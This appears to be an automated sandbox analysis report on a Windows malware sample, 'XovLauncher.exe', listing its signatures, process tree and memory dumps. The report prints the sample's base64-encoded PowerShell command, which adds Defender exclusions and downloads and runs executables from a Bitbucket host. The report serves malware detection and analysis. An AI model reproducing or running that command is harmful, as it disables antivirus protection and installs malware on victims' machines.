Analysis
- max time kernel
157s - max time network
169s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
07/11/2022, 08:52
General
- Target XovLauncher.exe
- Size 9KB
- Sample221107-ksqebsbbaj
- SHA256 8d5bbc1df6891d4e6d87702068fedfdccf2533e0fe6648aa12e62766cc20cb54
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\XovLauncher.exe"C:\Users\Admin\AppData\Local\Temp\XovLauncher.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdwBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGkAZwBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAVgBQAFMAIABhAGwAbABvAHcAZQBkACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHQAYgBuACMAPgA7ACIAOwA8ACMAdwBjAHAAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB4AGwAagAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBnAHQAegAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB2AGMAegAjAD4AOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8ANgAxADEAMQAvAGYAcwBkAGkAbwBmAG0AaQBzAGQAbgBmAGkAcwBkAG4AZgAvAHIAYQB3AC8AYQA3ADQAYgBjADAANwBkADgAYwAzAGMAMwAxADcANABhADYAOQBkAGYAYwBiADAANwAzADAAMgA5ADgANgAyADIAYQBlADgAYwA1ADcANwAvAG0AMQBtAC4AZQB4AGUAJwAsACAAPAAjAHMAeABoACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdAB3AGwAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBtAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAKQA8ACMAZgB3AGYAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGwAdQBjAGkAYQBuAG8ANgAxADEAMQAvAGYAcwBkAGkAbwBmAG0AaQBzAGQAbgBmAGkAcwBkAG4AZgAvAHIAYQB3AC8AYQA3ADQAYgBjADAANwBkADgAYwAzAGMAMwAxADcANABhADYAOQBkAGYAYwBiADAANwAzADAAMgA5ADgANgAyADIAYQBlADgAYwA1ADcANwAvAGwAaQBtAC4AZQB4AGUAJwAsACAAPAAjAGYAbQBiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYQB4AHIAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAeABtAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAQwBoAGUAYwBrAGUALgBlAHgAZQAnACkAKQA8ACMAeABzAHMAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeABxAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGYAcQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAEcAZQB0AC4AZQB4AGUAJwApADwAIwBtAHUAaAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBnAHEAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBtAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMAQwBoAGUAYwBrAGUALgBlAHgAZQAnACkAPAAjAGgAdQBwACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#igg#>[System.Windows.Forms.MessageBox]::Show('No VPS allowed!','','OK','Error')<#tbn#>;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
memory/916-138-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/916-139-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/2604-132-0x0000000000DE0000-0x0000000000DE8000-memory.dmp
memory/2604-135-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/4840-134-0x0000029966E10000-0x0000029966E32000-memory.dmp
memory/4840-136-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/4840-140-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp
memory/4840-143-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp